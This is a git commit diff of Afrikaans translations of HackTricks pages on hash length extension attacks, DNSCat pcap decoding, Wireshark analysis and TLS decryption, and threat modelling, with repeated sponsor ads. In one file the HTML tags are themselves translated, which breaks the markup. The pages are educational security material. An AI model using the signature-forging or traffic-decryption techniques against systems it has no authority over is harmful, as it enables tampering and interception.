Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi

This commit is contained in:
Translator 2024-04-18 03:37:31 +00:00
parent 547aaec717
commit 8ce39509c2
34 changed files with 1801 additions and 1118 deletions

View file

@ -1,30 +1,43 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
# Opsomming van die aanval
Stel jou 'n bediener voor wat **data onderteken** deur 'n **geheim** by bekende teksdata te **voeg** en dan daardie data te has. As jy weet:
Stel jou 'n bediener voor wat **data** **onderteken** deur 'n **geheim** by 'n bekende teksdata te **voeg** en dan daardie data te has. As jy weet:
* **Die lengte van die geheim** (dit kan ook afgedwing word van 'n gegewe lengte-reeks)
* **Die duidelike teksdata**
* **Die lengte van die geheim** (dit kan ook afgedwing word vanaf 'n gegewe lengte-reeks)
* **Die teksdata**
* **Die algoritme (en dit is vatbaar vir hierdie aanval)**
* **Die opvulling is bekend**
* Gewoonlik word 'n verstek een gebruik, so as die ander 3 vereistes voldoen is, is dit ook
* Gewoonlik word 'n verstek een gebruik, dus as die ander 3 vereistes voldoen is, is dit ook
* Die opvulling varieer afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
Dan is dit moontlik vir 'n **aanvaller** om **data by te voeg** en 'n geldige **handtekening te genereer** vir die **vorige data + bygevoegde data**.
Dan is dit vir 'n **aanvaller** moontlik om **data** by te **voeg** en 'n geldige **handtekening** te **genereer** vir die **vorige data + bygevoegde data**.
## Hoe?
@ -46,16 +59,27 @@ As 'n aanvaller die string "byvoeg" wil byvoeg, kan hy:
Jy kan hierdie aanval goed verduidelik vind in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -1,19 +1,32 @@
<details>
<besonderhede>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
</besonderhede>
## WhiteIntel
As jy 'n pcap het met data wat **deur DNSCat uitgelekte word** (sonder om versleuteling te gebruik), kan jy die uitgelekte inhoud vind.
<figuur><img src=".gitbook/assets/image (1224).png" alt=""><onderskrif></onderskrif></figuur>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteelmalware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% insluit url="https://whiteintel.io" %}
---
As jy 'n pcap het met data wat deur **DNSCat uitgefilter** word (sonder om versleuteling te gebruik), kan jy die uitgefilterde inhoud vind.
Jy hoef net te weet dat die **eerste 9 byte** nie werklike data is nie, maar verband hou met die **C\&C-kommunikasie**:
```python
@ -38,20 +51,20 @@ Vir meer inligting: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Daar is 'n skripsie wat met Python3 werk: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
Daar is 'n skripsie wat werk met Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```bash
python3 dnscat_decoder.py sample.pcap bad_domain
```
<details>
<besonderhede>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
</besonderhede>

View file

@ -1,97 +1,111 @@
# Wireshark-truuks
# Wireshark truuks
## Wireshark-truuks
## Wireshark truuks
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem te bekamp en losgeldaanvalle as gevolg van inligtingsteelmalware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Verbeter jou Wireshark-vaardighede
### Tutoriale
Die volgende tutoriale is fantasties om 'n paar koel basiese truuks te leer:
Die volgende tutoriale is wonderlik om 'n paar koel basiese truuks te leer:
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### Geanaliseerde inligting
### Geanaliseerde Inligting
**Ekspertinligting**
Deur te klik op _**Analyze** --> **Expert Information**_ sal jy 'n **oorsig** kry van wat in die geanaliseerde pakkies gebeur:
Deur te klik op _**Analiseer** --> **Ekspertinligting**_ sal jy 'n **oorsig** kry van wat in die **geanaliseerde** pakkies gebeur:
![](<../../../.gitbook/assets/image (570).png>)
**Opgeloste adresse**
**Opgeloste Adresse**
Onder _**Statistics --> Resolved Addresses**_ kan jy verskeie **inligting** vind wat deur Wireshark "**opgelos**" is, soos poort/vervoer na protokol, MAC na die vervaardiger, ens. Dit is interessant om te weet wat betrokke is in die kommunikasie.
Onder _**Statistiek --> Opgeloste Adresse**_ kan jy verskeie **inligting** vind wat deur Wireshark "**opgelos**" is, soos poort/vervoer na protokol, MAC na die vervaardiger, ens. Dit is interessant om te weet wat betrokke is in die kommunikasie.
![](<../../../.gitbook/assets/image (571).png>)
**Protokolhiërargie**
Onder _**Statistics --> Protocol Hierarchy**_ kan jy die **protokolle** vind wat betrokke is by die kommunikasie en inligting daaroor.
Onder _**Statistiek --> Protokolhiërargie**_ kan jy die **protokolle** vind wat betrokke is by die kommunikasie en inligting daaroor.
![](<../../../.gitbook/assets/image (572).png>)
**Gesprekke**
Onder _**Statistics --> Conversations**_ kan jy 'n **opsomming van die gesprekke** in die kommunikasie vind en inligting daaroor.
Onder _**Statistiek --> Gesprekke**_ kan jy 'n **opsomming van die gesprekke** in die kommunikasie vind en inligting daaroor.
![](<../../../.gitbook/assets/image (573).png>)
**Eindpunte**
Onder _**Statistics --> Endpoints**_ kan jy 'n **opsomming van die eindpunte** in die kommunikasie vind en inligting daaroor.
Onder _**Statistiek --> Eindpunte**_ kan jy 'n **opsomming van die eindpunte** in die kommunikasie vind en inligting oor elkeen van hulle.
![](<../../../.gitbook/assets/image (575).png>)
**DNS-inligting**
Onder _**Statistics --> DNS**_ kan jy statistieke oor die vasgevangste DNS-versoek vind.
Onder _**Statistiek --> DNS**_ kan jy statistieke vind oor die vasgevangde DNS-versoek.
![](<../../../.gitbook/assets/image (577).png>)
**I/O-grafiek**
Onder _**Statistics --> I/O Graph**_ kan jy 'n **grafiek van die kommunikasie** vind.
Onder _**Statistiek --> I/O-grafiek**_ kan jy 'n **grafiek van die kommunikasie** vind.
![](<../../../.gitbook/assets/image (574).png>)
### Filtreerders
### Filters
Hier kan jy Wireshark-filtreerders vind, afhangende van die protokol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Ander interessante filtreerders:
Hier kan jy Wireshark-filter vind afhangende van die protokol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Ander interessante filters:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* HTTP- en aanvanklike HTTPS-verkeer
* HTTP en aanvanklike HTTPS-verkeer
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* HTTP- en aanvanklike HTTPS-verkeer + TCP SYN
* HTTP en aanvanklike HTTPS-verkeer + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* HTTP- en aanvanklike HTTPS-verkeer + TCP SYN + DNS-versoeke
* HTTP en aanvanklike HTTPS-verkeer + TCP SYN + DNS-versoeke
### Soek
As jy wil **soek** na **inhoud** binne die **pakkies** van die sessies, druk _CTRL+f_. Jy kan nuwe lae byvoeg tot die hoofinligtingstabel (No., Tyd, Bron, ens.) deur die regterknoppie te druk en dan die kolom te wysig.
As jy wil **soek** vir **inhoud** binne die **pakkies** van die sessies, druk _CTRL+f_. Jy kan nuwe lae by die hoofinligtingstafel (No., Tyd, Bron, ens.) voeg deur die regterknoppie te druk en dan die kolom te wysig.
### Gratis pcap-laboratoriums
**Oefen met die gratis uitdagings van: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
## Identifiseer domeine
## Identifiseer Domeine
Jy kan 'n kolom byvoeg wat die Host HTTP-kop wys:
@ -101,7 +115,7 @@ En 'n kolom wat die Bedienernaam byvoeg van 'n inisieerende HTTPS-verbinding (**
![](<../../../.gitbook/assets/image (408) (1).png>)
## Identifiseer plaaslike hostnames
## Identifiseer plaaslike gasheernaam
### Vanaf DHCP
@ -117,29 +131,28 @@ In die huidige Wireshark moet jy in plaas van `bootp` soek vir `DHCP`
### Ontsleutel https-verkeer met bedienerprivaatsleutel
_edit>preference>protocol>ssl>_
_wysig>voorkeur>protokol>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
Druk _Edit_ en voeg al die data van die bediener en die privaatsleutel by (_IP, Poort, Protokol, Sleutel-lêer en wagwoord_)
Druk _Wysig_ en voeg al die data van die bediener en die privaatsleutel by (_IP, Poort, Protokol, Sleutel lêer en wagwoord_)
### Ontsleutel https-verkeer met simmetriese sessiesleutels
Beide Firefox en Chrome het die vermoë om TLS-sessiesleutels te log, wat met Wireshark gebruik kan word om TLS-verkeer te ontsleutel. Dit maak diepgaande analise van veilige kommunikasie moontlik. Meer besonderhede oor hoe om hierdie ontsleuteling uit te voer, is te vinde in 'n gids by [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Beide Firefox en Chrome het die vermoë om TLS-sessiesleutels te log, wat met Wireshark gebruik kan word om TLS-verkeer te ontsluit. Dit maak in-diepte analise van veilige kommunikasie moontlik. Meer besonderhede oor hoe om hierdie ontsleuteling uit te voer, kan gevind word in 'n gids by [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Om dit op te spoor, soek binne die omgewing na die veranderlike `SSLKEYLOGFILE`
Om dit op te spoor, soek binne die omgewing vir die veranderlike `SSLKEYLOGFILE`
'n Lêer van gedeelde sleutels sal so lyk:
'N Lêer van gedeelde sleutels sal soos volg lyk:
![](<../../../.gitbook/assets/image (99).png>)
Om dit in Wireshark in te voer, gaan na \_edit > preference > protocol > ssl > en voer dit in (Pre)-Master-Secret log filename:
Om dit in Wireshark in te voer, gaan na \_wysig > voorkeur > protokol > ssl > en voer dit in (Pre)-Master-Secret log-lêernaam:
![](<../../../.gitbook/assets/image (100).png>)
## ADB kommunikasie
## ADB-kommunikasie
Onttrek 'n APK uit 'n ADB-kommunikasie waar die APK gestuur is:
Haal 'n APK uit 'n ADB kommunikasie waar die APK gestuur is:
```python
from scapy.all import *
@ -166,16 +179,28 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,44 +1,58 @@
# Bedreigingsmodellering
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Bedreigingsmodellering
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Gaan op 'n ontdekkingsreis van hierdie kritieke aspek van sibersekerheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan en strategieë daarteen beplan. Hierdie draad dien as 'n stap-vir-stap-gids vol werklike voorbeelde, nuttige sagteware en maklik verstaanbare verduidelikings. Ideaal vir beginners en ervare beoefenaars wat hul sibersekerheidverdediging wil versterk.
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Begin 'n verkenning van hierdie kritieke aspek van sibersekerheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan, en daarteen strategiseer. Hierdie draad dien as 'n stap-vir-stap-gids propvol werklike voorbeelde, nuttige sagteware, en maklik verstaanbare verduidelikings. Ideaal vir beide beginners en ervare beoefenaars wat hul sibersekerheidsverdediging wil versterk.
### Algemeen Gebruikte Scenarios
### Gereeld Gebruikte Scenarios
1. **Sagteware-ontwikkeling**: As deel van die Veilige Sagteware-ontwikkelingslewensiklus (SSDLC) help bedreigingsmodellering om **potensiële bronne van kwesbaarhede** in die vroeë stadiums van ontwikkeling te identifiseer.
2. **Penetreringstoetsing**: Die Penetreringstoetsuitvoeringsstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die kwesbaarhede van die stelsel te verstaan** voordat die toets uitgevoer word.
1. **Sagteware-ontwikkeling**: As deel van die Veilige Sagteware-ontwikkelingslewensiklus (SSDLC), help bedreigingsmodellering om **potensiële bronne van kwesbaarhede** in die vroeë stadiums van ontwikkeling te identifiseer.
2. **Indringingstoetsing**: Die Indringingstoetsuitvoeringsstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die stelsel se kwesbaarhede te verstaan** voordat die toets uitgevoer word.
### Bedreigingsmodel in 'n neutedop
'n Bedreigingsmodel word tipies voorgestel as 'n diagram, beeld of 'n ander vorm van visuele voorstelling wat die beplande argitektuur of bestaande bou van 'n toepassing uitbeeld. Dit vertoon ooreenkomste met 'n **data vloei diagram**, maar die sleutelonderskeid lê in sy veiligheidsgeoriënteerde ontwerp.
'n Bedreigingsmodel word tipies voorgestel as 'n diagram, beeld, of 'n ander vorm van visuele voorstelling wat die beplande argitektuur of bestaande bou van 'n aansoek uitbeeld. Dit vertoon ooreenkomste met 'n **data vloeidiagram**, maar die sleutelonderskeid lê in sy veiligheidsgeoriënteerde ontwerp.
Bedreigingsmodelle bevat dikwels elemente wat in rooi gemerk is, wat potensiële kwesbaarhede, risiko's of hindernisse simboliseer. Om die proses van risiko-identifikasie te stroomlyn, word die CIA (Vertroulikheid, Integriteit, Beskikbaarheid) driehoek gebruik, wat die basis vorm van baie bedreigingsmodelleringsmetodologieë, met STRIDE as een van die mees algemene. Die gekose metodologie kan egter wissel afhangende van die spesifieke konteks en vereistes.
Bedreigingsmodelle bevat dikwels elemente wat in rooi gemerk is, wat potensiële kwesbaarhede, risiko's, of hindernisse simboliseer. Om die proses van risiko-identifikasie te stroomlyn, word die CIA (Vertroulikheid, Integriteit, Beskikbaarheid) driehoek gebruik, wat die basis vorm van baie bedreigingsmodelleringsmetodologieë, met STRIDE een van die mees algemene. Die gekose metodologie kan egter wissel afhangende van die spesifieke konteks en vereistes.
### Die CIA Driehoek
Die CIA Driehoek is 'n wyd erken model in die veld van inligtingsbeveiliging, wat staan vir Vertroulikheid, Integriteit en Beskikbaarheid. Hierdie drie pilare vorm die grondslag waarop baie veiligheidsmaatreëls en -beleide gebou word, insluitend bedreigingsmodelleringsmetodologieë.
Die CIA Driehoek is 'n wyd erken model in die veld van inligtingsbeveiliging, wat staan vir Vertroulikheid, Integriteit, en Beskikbaarheid. Hierdie drie pilare vorm die fondament waarop baie veiligheidsmaatreëls en -beleide gebou word, insluitend bedreigingsmodelleringsmetodologieë.
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongemagtigde individue benader word nie. Dit is 'n sentrale aspek van veiligheid wat gepaste toegangskontroles, enkripsie en ander maatreëls vereis om data-oortredings te voorkom.
2. **Integriteit**: Die akkuraatheid, konsekwentheid en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongemagtigde partye verander of geknoei word nie. Dit behels dikwels kontrolesomme, hasing en ander data-verifikasiemetodes.
3. **Beskikbaarheid**: Dit verseker dat data en dienste toeganklik is vir gemagtigde gebruikers wanneer dit nodig is. Dit behels dikwels oortolligheid, fouttoleransie en hoë-beskikbaarheidskonfigurasies om stelsels te laat werk selfs in die aangesig van onderbrekings.
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongemagtigde individue benader word nie. Dit is 'n sentrale aspek van sekuriteit wat toepaslike toegangsbeheer, enkripsie, en ander maatreëls vereis om data-oortredings te voorkom.
2. **Integriteit**: Die akkuraatheid, konsekwentheid, en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongemagtigde partye verander of geskend word nie. Dit behels dikwels kontrolesomme, hasing, en ander data-verifikasiemetodes.
3. **Beskikbaarheid**: Dit verseker dat data en dienste toeganklik is vir gemagtigde gebruikers wanneer dit benodig word. Dit behels dikwels oortolligheid, fouttoleransie, en hoë-beskikbaarheidskonfigurasies om stelsels selfs in die aangesig van onderbrekings aan die gang te hou.
### Bedreigingsmodelleringsmetodologieë
1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroniem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service en Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word algemeen gebruik in die ontwerpfase van 'n program of stelsel om potensiële bedreigings te identifiseer.
2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users en Discoverability**. Elkeen van hierdie faktore word geskore, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioritiseer.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dit is 'n sewe-stap, **risiko-sentriese** metodologie. Dit sluit die definisie en identifikasie van sekuriteitsdoelwitte, die skep van 'n tegniese omvang, toepassingsontbinding, bedreigingsanalise, kwesbaarheidsanalise en risiko-/triage-assessering in.
